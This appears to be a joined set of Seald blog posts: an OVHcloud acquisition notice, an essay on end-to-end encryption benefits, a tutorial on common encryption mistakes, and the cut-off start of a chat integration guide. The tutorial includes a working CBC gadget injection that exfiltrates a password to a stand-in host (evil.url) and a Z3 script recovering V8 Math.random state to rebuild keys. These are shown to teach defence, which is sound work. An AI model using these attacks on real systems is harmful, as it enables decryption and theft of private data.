You can read the official announcement on OVHcloud's newsroom.

What This Means for Our Technology

Seald's encryption technology will be integrated into OVHcloud's Public Cloud Infrastructure (PCI) offering under a new name: OVHcloud End-to-End Encryption (E2EE). This integration represents the natural evolution of our solution, combining Seald's battle-tested encryption capabilities with OVHcloud's world-class infrastructure.

A Seamless Transition for Our Customers

For our existing customers outside the United States, we want to reassure you: your service will continue without interruption. You will be migrated to OVHcloud E2EE, which is built on the same Seald technology you already trust. This transition will be handled carefully to ensure continuity and zero disruption to your operations.

By becoming part of OVHcloud, our encryption service will benefit from significantly expanded resources, enabling us to deliver:

• Enhanced reliability through OVHcloud's robust global infrastructure
• Improved resilience with enterprise-grade redundancy
• Better support backed by OVHcloud's dedicated teams
• Continued innovation with greater R&D investment

A Note for Our US Customers

Until now, Seald provided its services to all customers worldwide in the same way regardless of their location.

We decided to change Seald operating model in the USA, in compliance with all applicable regulation. As a result, Seald's US operations have been discontinued during this transition period. We understand this may be frustrating for our American customers, and we want you to know that we are actively working to make OVHcloud E2EE available in the US market through the appropriate channels as soon as possible. We will keep you informed of any developments.

Already Available in Alpha

We're excited to share that OVHcloud End-to-End Encryption is already available in alpha! If you want to explore the new solution and get an early look at what's coming, you can sign up through OVHcloud Labs. So far, it is nothing less than the re-branded staging environement, but gradually change will come. Your feedback during this phase will be invaluable in shaping the final product.

Looking Ahead

This acquisition reflects a shared vision between Seald and OVHcloud: that data sovereignty and security should be at the heart of every cloud service. Together, we are better positioned than ever to deliver on that promise.

We are deeply grateful for the trust our customers have placed in us over the years. As we embark on this new journey with OVHcloud, we remain committed to providing you with the highest level of encryption and data protection.

Stay tuned for more updates as we roll out OVHcloud End-to-End Encryption.

The Seald team 

But before diving into the 8 benefits that end-to-end encryption offers, it's essential to understand the problem this technology can address 🧐.

Take the example of a "traditional" messaging application not encrypted end-to-end:

During the transmission of a message, the sender sends their message to the application's server, and this server then transmits it to the recipient who can read it. In this very common model, encryption is used between the sender and the server, and then between the server and the recipient (using TLS). However, the server, which acts merely as a relay, can technically read everything 👀.

Therefore, if a system administrator (who has access to the servers) were malicious or hacked, or if the application had a vulnerability allowing an attacker to take control of the server, there would be a potentially massive data breach.

The aim of end-to-end encryption is precisely to address this issue at its core by not allowing the server to read everything between senders and recipients: the message remains encrypted from one end (the sender) to the other (the recipient), without ever being decrypted between the two, hence its name 🔒.

Most messaging applications have incorporated this technology to ensure the highest level of confidentiality for messages, such as Signal, iMessage, Whatsapp, and Telegram (not by default).

Benefit 1: Increased confidentiality

End-to-end encryption is a method of securing information where only the sender and the recipient of the communication are capable of decrypting and accessing the content of the data.

In other words, the data is encrypted on the sender's device and is only decrypted once it arrives on the recipient's device.

During transit, whether on intermediary servers, networks, or any other passage point, the data remains encrypted and is therefore inaccessible to third parties, including the service providers facilitating the message's transmission.

In 2022, Elon Musk discussed integrating end-to-end encryption into Twitter's messaging. He even stated: "It should be the case that I can’t look at anyone’s DMs if somebody has put a gun to my head" 😅🔫 and "Twitter DMs should have end to end encryption like Signal, so no one can spy on or hack your messages".

Benefit 2: Protection against data breach

In the event that a server containing end-to-end encrypted data is compromised, these data would remain unexploitable for the attacker.

This is likely the primary reason driving companies to adopt end-to-end encryption: to guard against data breaches. It's crucial to understand that if a malicious individual manages to breach a server containing only encrypted data, technically no data is exfiltrated as long as we can ensure the key wasn't stolen along with it. Therefore, from a GDPR perspective, it doesn't trigger a breach notification to the affected individuals. The intrusion, having had no impact, is as if nothing happened 💪.

Today, companies like Recare have implemented end-to-end encryption to ensure that only healthcare professionals can access the data (not even Recare or its hosting provider) and to prevent data theft even in the event of a breach into Recare's servers.

Benefit 3: Reduced risk of espionage

End-to-end encryption prevents malicious actors, governments, and even service providers from monitoring or accessing communications.

It might seem obvious at first glance, but if a solution can't access its users' data, it can't transmit anything to anyone. Big brother can't watch you 👀.

On this note, it's important to emphasize that the CLOUD Act, established in 2018, amends the Stored Communications Act to apply beyond U.S. borders.

As a result, U.S. courts have the authority to order American cloud providers (even if the data is stored abroad, like in France) to provide them with the entirety of an individual's data, without seeking the judicial approval of the country where the individual or data resides.

In plain terms, if data is stored on servers like AWS or GCP, the U.S. can legally access it, even if the servers are physically located in France.

Integrating end-to-end encryption into a solution using American servers would render the data on these servers inaccessible, thus avoiding any surveillance ❌.

In the EU, it's one of the supplementary security measures recommended by the European Data Protection Board for processing data in the U.S. when the Privacy Shield was invalidated.

Benefit 4: Data integrity

End-to-end encryption guarantees that the data has not been altered during transfer, as any modification of the encrypted data would render the message indecipherable.

However... beware!

We have observed a number of common errors made by developers when integrating end-to-end encryption, jeopardizing the integrity of the information 🔓.

These include the use of AES-CBC without HMAC-SHA256. If you're interested, have a look at our article: "3 common mistakes when implementing encryption".

Benefit 5: Protection against government requests

In the United States, since June 24, 2022, the Supreme Court has revoked the constitutional right of American women to abortion. This has allowed each state to define its own legislation on the subject, with some ten states (including Nebraska) banning abortion. In concrete terms, a woman who has an abortion can now be prosecuted for murder 🤬.

In 2022, in Nebraska, a girl chats with her mother on Messenger about how to end her unwanted pregnancy. At the time, there is no end-to-end encryption in Messenger.

The mother manages to obtain abortion pills by buying them on the Web and gives them to her daughter to end her unwanted pregnancy.

One police report later.... Meta (the company that develops Messenger) receives a law enforcement warrant requesting data that the platform held on the mother and her daughter. Meta had no choice but to hand over the exchanges in question.

The daughter was sentenced to three months in prison for performing an abortion. Her mother was sentenced to two years in prison for assisting her daughter in the procedure.

With end-to-end encryption, Meta would not have been able to provide Messenger data to the government, as she herself would not have had the means to access the data 👌. Meta understands the importance of this technology, and has announced that Messenger will soon be end-to-end encrypted by default.

Benefit 6: Increased user trust

Knowing that your data is truly secure, thanks to end-to-end encryption, boosts users' confidence in a service or application.

In June 2020, Doctolib integrated end-to-end encryption to secure documents shared between doctors and their patients. This means that Doctolib can never access its users' sensitive information. This initiative strengthens user confidence, knowing that their medical data is shared only between themselves and their doctor. The Hippocratic oath is well-kept 👩‍⚕️🤫.

Benefit 7: Improved compliance

A growing number of regulations impose or recommend end-to-end encryption.

The GDPR imposes increased protection for personal data, notably through state-of-the-art encryption and minimization of stored data. According to some DPO interpretations, this constitutes an obligation to implement end-to-end encryption in certain cases ⚠️️. This requirement is therefore increasingly present in requests for proposals, particularly in the medical sector: for example in Germany for software used to manage downstream hospital beds, in Belgium for teleconsultation software and in France for teleconsultation booths.

Another example is ITAR, which applies to all U.S. military subcontractors (which covers a huge number of companies worldwide), and allows sensitive data to be used in the cloud, provided it is encrypted end-to-end (§ 120.54 (a) (5) (ii)).

Finally, NIS2, which will come into force in the second half of 2024 and apply to all critical European entities and their subcontractors, stipulates in its recital 98:

"The use of encryption, including end-to-end encryption, should if necessary be imposed on providers of public electronic communications networks or publicly available electronic communications services, in accordance with the principles of security and privacy by default and by design for the purposes of this Directive."

Benefit 8: The right to privacy

In a world where our communications can be monitored or intercepted, end-to-end encryption ensures that our confidential conversations remain truly private.

When asked about the importance of encryption, many people retort: "Why do I need it? I've got nothing to hide!"

This reaction suggests that only people hiding things or carrying out illicit activities might need encryption. Is this really the right reasoning? 🕵️‍♂️

Ask these same people to entrust you with their credit card codes, their online identifiers, their medical history, and you'll see that they'll suddenly grasp the value of encryption as a guarantor of their privacy.

Arguing that you don't care about privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say.

We sometimes see projects (even well-known ones) in which developers have implemented encryption, armed with their Crypto 101 course, but rarely end up with a robust mechanism. Unfortunately, implementing encryption isn't just about using AES and having a decrypt function that gives the right result 🧐.

So here are a few examples of cryptographic mechanisms that are not robust, but may appear to be so to a non-encryption specialist developer:

• Encryption integrity: how to exfiltrate data encrypted with AES-CBC? How to protect against this?
• IV generation: the difference between IVs and nonces, and the practical consequences for AES-CTR and AES-GCM.
• Random number generator: why not use Math.random() for encryption? Demonstration of an exploit to decrypt messages whose key has been generated with Math.random().

Encryption integrity

By integrating a symmetric encryption algorithm, the aim of the developer is to ensure the confidentiality of the encrypted message: the guarantee that only the holders of the key will be able to access the plaintext content, and that seems to be enough.

But is it really?

AES-CBC

This is the case, for example, with AES-CBC, a robust algorithm which is widely used.

Here's an example of its implementation in Node.js:

export const encrypt = (message: Buffer, key: Buffer): Buffer => {
    const iv = randomBytes(16)
    const cipher: Cipher = createCipheriv('aes-256-cbc', key, iv)
    return Buffer.concat([iv, cipher.update(message), cipher.final()])
}

export const decrypt = (encryptedData: Buffer, key: Buffer): Buffer => {
    const iv: Buffer = encryptedData.subarray(0, 16)
    const ciphertext: Buffer = encryptedData.subarray(16)
    const decipher: Decipher = createDecipheriv('aes-256-cbc', key, iv)
    return Buffer.concat([decipher.update(ciphertext), decipher.final()])
}

Alice encrypts the message 'Your password is:Se@ld-i5-great' to Bob with a key key established (magically) in advance, and Bob decrypts it:

// Symmetric key of 32 bytes shared between Alice and Bob
const key: Buffer = Buffer.from('4b00c9504d4b76bd913ecd27df90305fa3201e0e15e4e61023782ad0867660de', 'hex') 
// Message encoded as a Buffer
const message: Buffer = Buffer.from('Your password is:Se@ld-i5-great', 'utf8')

// Message encrypted by Alice
const encryptedMessage = encrypt(message, key)
console.log(encryptedMessage.toString('hex')
// > 144c57a662562f474212b72c2a5765d4a882ffd3459adb1bb07e48fc62d2f3db68618a9e4d61022ddb29e36c22039fb7

console.log(decrypt(encryptedMessage, key).toString('utf8'))
// > Your password is:Se@ld-i5-great

The decryption works, perfect, isn't it?

CBC gadgets

The problem is that, while confidentiality is guaranteed by AES-CBC, AES-CBC is said to be malleable. This means that an attacker can modify the encrypted message encryptedData without the recipient noticing, and this can actually lead to data exfiltration ⚠️.

In our example, the encryption result contains 3 blocks: IV, c0 and c1:

If the attacker knows the first 16 bytes of the message (in our example, it's reasonable to assume that Your password is is prefixed in front of all messages of this type), they can then inject selected blocks (g0 and g1) into the plaintext message as follows:

• construct x0 = IV ^ p0 ^ g0.
• construct x1 = IV ^ p0 ^ g1.
• forge the message by concatenating x0, c0, x1, c0 and c1.

When Bob decrypts the modified message, the result will be g0, a block of uncontrolled bytes, g1 and p1 (which contains the password).

And if Bob happens to decrypt it in an HTML interpreter (mail client or browser), the attacker simply transforms the message into an HTML tag <img src="... />:

To modify such an encrypted message in this way, let us define the following function:

export const injectGadget = (encryptedData: Buffer, p0: Buffer, g0: Buffer, g1: Buffer): Buffer => {
    const iv: Buffer = encryptedData.subarray(0, 16)
    const c0: Buffer = encryptedData.subarray(16, 32) // contains 'Your password is' chiffré
    const c1: Buffer = encryptedData.subarray(32) // contains the encrypted password
    
    const x: Buffer = xor(iv, p0) // canonical block canonique (only 0 if decrypted)

    const x0: Buffer = xor(x, g0)
    const x1: Buffer = xor(x, g1)

    return Buffer.concat([
        x0, // forged IV
        c0, // forged block, decrypted to g0
        x1, // forged block that is just there to prserve the chaining, it will be decrypted into 8 uncontrolled bytes
        c0, // forged block, decrypted to g1
        c1  // 2nd initial block containing the targeted data
    ])
}

And it can be used as follows:

// The attacker intercepts `encryptedMessage` then injects g0 and g1 because they know the first block p0
const maliciousMessage = injectGadget(encryptedMessage, p0, g0, g1)

// Bob decrypts naively the message, and displays it in an HTML reader
const decryptedMessage = decrypt(maliciousMessage, key).toString('utf8')

// contains something like: <img ignore= "**garbage**" src=evil.url/:Se@ld-i5-great
// which exfiltrates the sensitive data to evil.url
console.log('decryptedMessage:', decryptedMessage)
// >  <img ignore= " '�va��U���J� " src=evil.url/:Se@ld-i5-great

In this case, Bob would decrypt the modified message into <img ignore= "'�va��U���J�" src=evil.url/:Se@ld-i5-great, which would exfiltrate the password to evil.url.

Adding a MAC

The correct way to encrypt with AES-CBC is to add what is known as a Message Authentication Code, which ensures the integrity of the encrypted message. A MAC is a kind of checksum calculated on the message with a shared secret key. If this MAC does not correspond to the decryption, the message has been altered before arriving 🔓.

This enables what is known as "authenticated encryption" to be achieved by composition.

Adding a MAC to the AES-CBC existing cipher can be done by defining an appendMac function which calculates and appends the MAC at the end, and another checkMacThenReturnPayload which checks the MAC, and throws an error if the MAC does not match:

export const appendMac = (payload: Buffer, keyMac: Buffer): Buffer => {
    const hmac: Hmac = createHmac('sha256', keyMac)
    hmac.update(payload)
    return Buffer.concat([payload, hmac.digest()]) // we append the MAC at the end
}

export const checkMacThenReturnPayload = (encryptedData: Buffer, keyMac: Buffer): Buffer => {
    const payload: Buffer = encryptedData.subarray(0, -32) // we retrieve the MAC at the end
    const mac: Buffer = encryptedData.subarray(-32)
    const hmac: Hmac = createHmac('sha256', keyMac)
    hmac.update(payload)
    const mac2 = hmac.digest()

    if (!mac.equals(mac2)) throw new Error('MAC invalid') // we check that it is equal by recalculating it, otherwise we throw an error so as not to decipher

    return payload
}

To combine it with the existing functions, we simply compose them. Here's how the CBC gadget injection attack is countered by this mechanism:

// Alice and Bob must use two separate keys for encryption and MAC
const keyEnc: Buffer = Buffer.from('4b00c9504d4b76bd913ecd27df90305fa3201e0e15e4e61023782ad0867660de', 'hex')
const keyMAC: Buffer = Buffer.from('8c2b1a612c99f7ede90d25b544812ea19b3626db5f71b5073d4ade922be21f9a', 'hex') 

// Alice encrypts the message with AES-CBC as before
const encryptedMessage = encrypt(message, keyEnc)
console.log(encryptedMessage.toString('hex'))
// > f7686df4fe1bd9177ab5b6a9b9f17e5786e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa

// Alice appends the MAC calculated with the other key
const encryptedMessageWithMac = appendMac(encryptedMessage, keyMac)
console.log(encryptedMessageWithMac.toString('hex'))
// > f7686df4fe1bd9177ab5b6a9b9f17e5786e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa508348ae876c868858b2be2908392eeb322a2fe396770790a3438b29757d67fc

// The attacker attempts the same attack by injecting a CBC gadget
const maliciousMessage = injectGadget(encryptedMessageWithMac, firstBlock, gagdet0, gadget1)
console.log(maliciousMessage.toString('hex'))
// > 8e3b71ebb94bd10367adabbee0f1350486e0c610837fe694ac1182aad1d70fa78e2538f5ac0885017fabb5f5a8a37b0b86e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa508348ae876c868858b2be2908392eeb322a2fe396770790a3438b29757d67fc

// Bob checks the MAC before decrypting
const checkedEncryptedMessage = checkMacThenReturnPayload(maliciousMessage, keyMac)
// > Error: MAC invalid

However, if Bob tries to decrypt the unaltered message:

const checkedEncryptedMessage = checkMacThenReturnPayload(encryptedMessageWithMac, keyMac)
const decryptedMessage = decrypt(checkedEncryptedMessage, keyEnc).toString('utf8')
console.log(decryptedMessage)
// > Your password is:Se@ld-i5-great

Conclusion

This attack seems theoretical only, but in reality, this example is largely inspired by a very real vulnerability called efail.de of email clients decrypting S/MIME or PGP emails that didn't check the MAC (although there was one), and whose first bytes are always Content-type: multipart-signed... 😔

In short, symmetric encryption algorithms without integrity should always have a MAC added (calculated with a separate key), unless integrity is ensured by some other means, and should be checked before decryption.

The complete example is available on Github.

IV generation

For some encryption algorithms, IVs (Initialization Vector) must be random, as in the case of AES-CBC, and for others, they must be unique, as in the case of AES-CTR, AES-GCM or ChaCha20. They are also called "nonce" when uniqueness is the desired property, rather than IV.

The difference between unique and random

The difference seems insignificant: intuitively, the probability of two random 16-byte IVs being identical is ridiculous, yet using a random IV generator when trying to generate unique IVs leads to a vulnerability.

Let us consider the following analogy: imagine you had to assign a unique number to each child in a classroom. One possibility is to number them with a counter, but let us say that is not possible. Another idea might be to take their birthday and convert it to a number between 1 and 365. For example, February 2 would be number 33.

There's obviously no guarantee that all the children will have a different birthday and therefore a different number with this algorithm, but worse, there's a probability greater than 50% that there will be a collision as soon as the number of children in the class exceeds 23! It's the birthday problem.

Random doesn't mean unique, but what does it mean in practice? 🕵️‍♂️

Reusing a nonce with AES-CTR

That's where the analogy ends. Let us dive into AES-CTR to see what impact the reuse of an nonce has.

AES-CTR is a stream cipher, which means that it generates a key stream from a nonce and the key, and it's this key stream that is then used to encrypt and decrypt with a XOR.

So, if we encrypt twice with the same nonce, this means that the same keyStream is generated twice and used to encrypt two distinct m1 and m2 messages. In pseudo-code, this looks like this:

// XOR is noted ^
E(m1) = keyStream ^ m1
E(m2) = keyStream ^ m2
E(m1) ^ E(m2)
= keyStream ^ m1 ^ keyStream ^ m2
= m1 ^ keyStream ^ keyStream ^ m2
= m1 ^ 0 ^ m2
= m1 ^ m2
// this means that XORing encrypted messages is equivalent to XORing plaintext messages

The textbook case is when the messages are the same size and each is empty on a different half:

To reproduce this textbook case, simply define two messages of the same size, pad them, encrypt them, and XOR the result of one with the other:

// construct two messages of identical size
const message1 = Buffer.from('here is one half of the message,')
const message2 = Buffer.from('and here is the other half of it')

// pad them from 0 to the right for the first, to the left for the second, doubling their size
const paddedMessage1 = Buffer.concat([message1, Buffer.alloc(message2.length)])
const paddedMessage2 = Buffer.concat([Buffer.alloc(message1.length), message2])

const encryptedMessage1 = encryptCTR(nonce, paddedMessage1, key)
const encryptedMessage2 = encryptCTR(nonce, paddedMessage2, key)

// remove the first 16 bytes containing the nonce only
const xorResult = xor(encryptedMessage1.subarray(16), encryptedMessage2.subarray(16))
console.log(xorResult.toString('utf8'))
// > here is one half of the message,and here is the other half of it

The full code for this example is available on Github.

In addition, a detail sometimes overlooked with AES-CTR, the nonce must be distinct for each 16-byte block and not for each invocation. If the message exceeds 16 bytes, AES-CTR uses the nonce as a counter (hence the name "CTR" for COUNTER) and increments it for each AES block. A developer counting AES-CTR invocations rather than AES blocks would therefore unknowingly reuse nonces as soon as messages exceed 16 bytes 🤯.

Reusing a nonce with AES-GCM

In the case of AES-GCM, this mode uses AES-CTR for encryption and GMAC for integrity.

It is therefore vulnerable to the same attack as described above. Moreover, if a nonce is reused, the attacker can recover the key derived by AES-GCM which is used to calculate GMAC, and can therefore forge MACs at will, which breaks the integrity property for all messages encrypted with that key.

The attack was first described by Antoine Joux of the DGA 🛡️. As its implementation is rather cumbersome, the experienced reader can write a PoC themself , it is the subject of Cryptopals challenge 64.

Incidentally, two other details about nonces in AES-GCM can cause problems:

• using a 16-byte nonce with AES-GCM is problematic: 12-byte nonces are used, not 16-byte nonces as in most other AES modes. However, if a 16-byte nonce is used, no error will occur. What happens in this case is that the nonce is reprocessed with a hash to obtain a 12-byte nonce, which is problematic because the guarantee of uniqueness that the developer would have endeavored to have on the 16-byte nonce would not be preserved by hashing, which then amounts to using a random rather than a unique nonce.
• it is not possible to encrypt more than 64GB of data with AES-GCM: AES-GCM uses a 4-byte counter to generate nonces for AES-CTR, so it cannot encrypt more than 4 billion blocks (2^32), i.e. 64GB.

Probability estimation

"But the probability is extremely low". According to NIST, a nonce can be said to be "unique enough" if the probability of it being reused does not exceed 2^-32, or one chance in 4 billion.

In the case of AES-GCM, which uses 12-byte nonces, the number of possible uses of a key is then limited to 6 billion messages (using the formula for estimating the birthday problem, whereas with a counter as is normally done, it's 10^29 uses.

In the case of AES-CTR, it's a little more complicated because a new nonce is required every 16 bytes, so for each nonce fired we "condemn" this nonce and the following N automatically used by AES-CTR's auto-increment for a message of N * 16 bytes.

Conclusion

It's always better to generate AES-GCM, AES-CTR and ChaCha20 nonces deterministically with a counter rather than randomly, or worse, hardcoded.

Random number generator

To finish on a sweet note, we can mention the irreplaceable Math.random used for cryptographic purposes, the irreplaceable Math.random, used for cryptographic purposes. The latest are Synology and OnlyOffice.

PRNG vs CSPRNG

A computer is not capable of generating truly random numbers 🧐, it uses entropy produced by the machine and the operating system, then injects it as the seed into a Pseudo-Random Number Generator (PRNG) algorithm. There are two types of PRNG:

• statistical PRNGs, i.e. the numbers generated by this generator have very good statistical properties, but are perfectly predictable: if you know the previous one, you can predict the next one, and vice versa. An example is XorShift128+ used in Chrome, Node, Firefox, Safari to provide the Math.random() function.
• Cryptographically Safe PRNG (CSPRNG), i.e. knowledge of the state of the generator or previously generated numbers must not enable an attacker to predict the next or previous numbers.

Using a statistical PRNG for cryptographic purposes is therefore catastrophic, yet Math.random() is still used in many projects, which suggests that their developers consider it sufficiently robust, perhaps under the impression that by not knowing how to break it themselves, nobody will...

The article could end with a simple reminder to use a CSPRNG like the one provided by Node's crypto module or SubtleCrypto in a browser. But it seems more impactful to build a real PoC of how to break a cipher made with Math.random().

Using a weak PRNG to encrypt

First of all, it's necessary to build a weakRandomBytes function that produces as many "random" bytes as requested from Math.random.

The implementation was a little more complex than anticipated: a number from Math.random is not directly an array of bytes, it's a Number, which is nothing more than a 64-bit encoded float. But not all 64-bits are useful:

• 52 bits of mantissa: these are the bits that really count, and are actually taken from the PRNG of Math.random().
• 11 exponent bits: these encode the power of 2 with which the mantissa bits are multiplied, but for a Math.random(), we're always between 0 and 1, so these bits don't add entropy.
• 1 sign bit: but for a Math.random(), it's always positive, so this bit doesn't add entropy.

The aim is to concatenate, one after the other, the 52-bit mantissa of each number generated by Math.random()and to stop when enough bytes have been generated. To encode the array of Numbers into an array of bytes, an encoding function floatsToBytes is used and accessible on the project's GitHub repository, but it adds nothing to the explanation. The rest is pretty straightforward:

let randomCache = Buffer.alloc(0)

const addBytesToRandomCache = (size: number) => {
    // Enough `Math.random` results containing each 52 bits must be produced 
    // to fill out `size` bytes
    const numRandom = Math.ceil(size * 8 / 52)
    const randoms = Array.from(Array(numRandom), Math.random)
    randomCache = Buffer.concat([randomCache, floatsToBytes(randoms)])
}

export const weakRandomBytes = (size: number) => {
    // Each random generation produces more random bits than necessary, as long as size is not a multiple of 13 (PPCM of 52 and 8), so the excess is stored in a cache and reused the next time it is called
    const toGenerateLength = size - randomCache.length > 0 ? size - randomCache.length : 0
    addBytesToRandomCache(toGenerateLength)
    const result = randomCache.subarray(0, size)
    randomCache = randomCache.subarray(size)
    return result
}

Using this weakRandomBytes function, it is therefore possible to encrypt a few messages with AES-CBC and HMAC-SHA256 (see part 1) as follows:

const keyEnc: Buffer = weakRandomBytes(32)
const keyMAC: Buffer = weakRandomBytes(32)

const message1: Buffer = Buffer.from('Your password is:Se@ld-i5-great', 'utf8')
const message2: Buffer = Buffer.from('This PRNG works! Amazing, no need to make a fuss around CSPRNG', 'utf8')

const encryptedMessage1 = encryptThenMac(message1, keyEnc, keyMAC, weakRandomBytes)
const encryptedMessage2 = encryptThenMac(message2, keyEnc, keyMAC, weakRandomBytes)
console.log('encryptedMessage1', encryptedMessage1.toString('hex'))
console.log('encryptedMessage2', encryptedMessage2.toString('hex'))
// > 955f8a310ca9dfd6e6eea23005a952b98f4169f3c8e2521f3df96e8fe9a1e3bf4a28550ea311e20710e91c917e0b6f5bc9f69791a5ef27f19d847e72105d318005aa85ed3fd91eede5c86a549ce6a545
// > 0a8aa04aa9896320e29e2dcf12cb06c25ef853de3d49eb3fa28e3b336629e74bd834ca0f66c013e207006c179dd021af8980f9b4014300164e04ce9ab5388243b04bd7195b9dee9a31ccb307bfcf416ed0208c24d6d2a69106ff55937a82398b3a8c2b836e111e2556bd6bf76dae75e0

Decrypt

The aim is to decrypt encryptedMessage1 and encryptedMessage2. To do this, we need to find keyEnc, which was generated using V8's PRNG (keyMAC is not useful for decrypting, only for checking integrity).

Given that we know that the same PRNG was used successively to generate keyEnc, keyMAC, the IV of message 1 and then the IV of message 2, and that we know the IV 1 and IV 2 as they are prefixed to each message (they are the first 16 bytes), we can use them to find the state of the PRNG at that moment. Once this state has been found, we simply need to run V8's PRNG in the other direction to go back to the previous state, regenerate the Math.random() draw that generated keyEnc, and voilà 🙌.

Décode the numbers

In concrete terms, we need to start by decoding the two IVs to find the numbers from Math.random() that are contained within. In essence, this is the inverse function of floatsToBytes, which we'll call bytesToFloat. Its implementation is accessible on the project's GitHub repository, but adds nothing to the explanation.

If bytesToFloat is called direclty on the concatenation of IV1 and IV2, it won't return the right result. bytesToFloat must be called with a Buffer starting with a complete mantissa. As 64 bytes were generated before IV1 and IV2 (for keyEnc and keyMac), i.e. 512 bits, we therefore need to truncate the first byte of IV1 to start at the 11th number generated by weakRandomBytes :

const iv1 = encryptedMessage1.subarray(0,16)
const iv2 = encryptedMessage2.subarray(0,16)

const bytes = Buffer.concat([iv1, iv2]).subarray(1)

const numbers = bytesToFloats(bytes)
console.log(numbers)
// > [
//     0.42960457575886557,
//     0.6602354429041057,
//     0.5807195083867396,
//     0.17820561686270375
//   ]

Find back the state of XorShift128+

This step is probably the most interesting, and is largely inspired by the v8-randomness-predictor project.

The principle is that, using the formal calculation engine Z3, equations can be defined, and the solver will look for the solution.

With a series of consecutive values for Math.random(), it is possible to establish as many equations as there are values by writing with Z3 the XorShift128+ algorithm used by V8.

export const findXorShiftStates = async (numbers: number[]): Promise<State> => {
    const {Context} = await init();

    const {Solver, BitVec, interrupt} = Context('main');
    // We define two variables which are the arrival values of XorShift128+
    const targetState0 : BitVec = BitVec.const('target_state0', 64)
    const targetState1 : BitVec = BitVec.const('target_state1', 64)

    let currentState0: BitVec = targetState0
    let currentState1: BitVec = targetState1
    const solver = new Solver();

    // The values in `Math.random` are in fact generated in advance by V8, and as soon as we call `Math.random`, we get a pre-generated result **in reverse order of generation** (in LIFO).
    // this means that when you have consecutive `Math.random` values, you must apply XorShift128+ to obtain the **previous** and not the next one.
    // This is why the numbers here are taken in reverse order
    for (let i = numbers.length - 1; i >= 0 ; i--) {
        let s1 = currentState0
        let s0 = currentState1
        currentState0 = s0
        s1 = s1.xor(s1.shl(23))
        s1 = s1.xor(s1.lshr(17))
        s1 = s1.xor(s0)
        s1 = s1.xor(s0.lshr(26))
        currentState1 = s1
        // The "+1" is simply the reverse operation of what V8 does to extract a number from state0: https://github.com/v8/v8/blob/a9f802859bc31e57037b7c293ce8008542ca03d8/src/base/utils/random-number-generator.h#L111
        const mantissa  = floatToMantissa(numbers[i] + 1)
        // On ajoute ici l'équation au solveur
        solver.add(currentState0.lshr(12).eq(BitVec.val(mantissa, 64)))
    }
    // Check that the solver finds a result
    if (await solver.check() === 'sat') {
        const model = solver.model()

        // we retrieve the values
        const state0Sol = model.get(targetState0) as BitVecNum
        const state0 = state0Sol.value()
        const state1Sol = model.get(targetState1) as BitVecNum
        const state1 = state1Sol.value()

        interrupt()

        // and return this state
        return [state0, state1]
    }

    throw new Error('could not find solution')
}

Once the state has been found, the next Math.random can be calculated value simply by executing the equivalent of ToDouble whose implementation is available on the project's repository on GitHub but adds nothing to the explanation.

By combining these two functions, we can calculate the next Math.random: 0.5602436318742325.

Roll back the PRNG

From state0 and state1, the next states of V8's PRNG can be calculated by applying XorShift128+, and the previous states by applying the inverse function.

However, let us recall that V8 generates the numbers in advance, and outputs them in reverse, so to obtain the previous value of  Math.random, the next state of XorShift128+ must be used and not the previous one.

To do this, here is an implementation of  XorShift128+ in Javascript:

export const xorShift128p = ([seState0, seState1]: State): State => {
    let s1: bigint = seState0
    let s0: bigint = seState1
    // BigInt are of arbitrary size, therefore a bitshift to the left just the bigint longer rather than truncate it. BigInt.asUintN allows to simulate a proper bitshift.
    s1 ^= BigInt.asUintN(64, s1 << 23n)
    s1 ^=  s1 >> 17n
    s1 ^= s0
    s1 ^= s0 >> 26n
    return [seState1, s1]
}

It can then be used to retrieve the previous number by making a loop:

let state: State = await findXorShiftStates(numbers)

// 14 times because there are 4 for the IVs, then 10 for the previous 65 bytes.
const previousNumbers = []
for (let i = 0; i< 14; i++) {
    state = xorShift128p(state)
    previousNumbers.unshift(extractNumberFromState(state))
}

Re-generate the key

Finally, we only need to encode this numbers array into the corresponding bytes, slice the key in the right place and decrypt :

const predictedRandom = floatsToBytes(previousNumbers).subarray(0, 64)

const keyEnc: Buffer = predictedRandom.subarray(0, 32)
const keyMAC: Buffer = predictedRandom.subarray(32, 64)
    
console.log('message1:', checkMacThenDecrypt(encryptedMessage1, keyEnc, keyMAC).toString('utf8'))
console.log('message2:', checkMacThenDecrypt(encryptedMessage2, keyEnc, keyMAC).toString('utf8'))
// > Your password is:Se@ld-i5-great
// > This PRNG works! Amazing, no need to make a fuss around CSPRNG

And voilà.

Conclusion

This PoC is designed to be broken easily:

• floatsToBytes is very easy to reverse, it is made so that there is no reprocessing after the xorshift128+
• the keys are generated consecutively to the IVs, and this is guaranteed with a pre-generation of 128 consecutive random bytes in the PRNG. If the generations weren't perfectly consecutive, it wouldn't be as easy able to roll back the PRNG, and V8 could eventually refresh the PRNG by changing the seed (which is at most every 64 calls to Math.random, which is the size of the cache), which would make breaking more difficult, but by no means impossible.

Any "fiddling" with this algorithm would only slow down the writing of a PoC, but not prevent it.

It is therefore imperative to use a cryptographically secure random generator (CSPRNG) ✅.

The full project code is available on Github.

Conclusion

This article is not intended to be exhaustive. The aim is to make developers aware that using a primitive with a robust name, such as AES, and testing that decrypt works to decrypt encrypt output are not enough.

At Seald, we suggest that developers don't worry about these low-level issues and concentrate on what's essential: functionality.

Sander Goossens: Recently, a client came to us asking for a chat solution with encryption support. After some research, we quickly came to a combined solution of GetStream.io and Seald.io.

GetStream.io offers real-time chat messaging with a reliable chat infrastructure and feature-rich SDKs. One of the main selling points of GetStream.io is the availability of UI components out of the box. With support for React Native, React, Android, Flutter, iOS/Swift,... you can quickly create a chat application without the hassle of creating every UI interaction yourself.

Seald.io offers end-to-end encryption in Europe. The solution benefits from a security visa (CSPN) issued by the ANSSI, which ensures you a robust security model. CSPN is the certification of Seald's level of robustness, based on compliance analysis and advanced penetration testing.

End-to-end encryption is the most secure technology available, but it is also the most complex and time-consuming to implement (key management, user account recovery, etc.). To simplify its adoption, Seald has developed an SDK associated with an API, which allows you to add end-to-end encryption to your applications in a few lines of code, without any prior knowledge of cryptography.

Because of the APIs and components SDKs made available by Stream, we can hook the end-to-end encryption of Seald into it.

Enough introduction, let's see what we are going to build and how we approached this!

Goals

• Chat messages should only be readable by the members of a conversation
• Chat messages should not be readable in the Stream admin dashboard

Services

• Messaging API custom nodeJS backend to handle all GetStream and Seald server side functionality. Has a postgreSQL database where we store seald users.
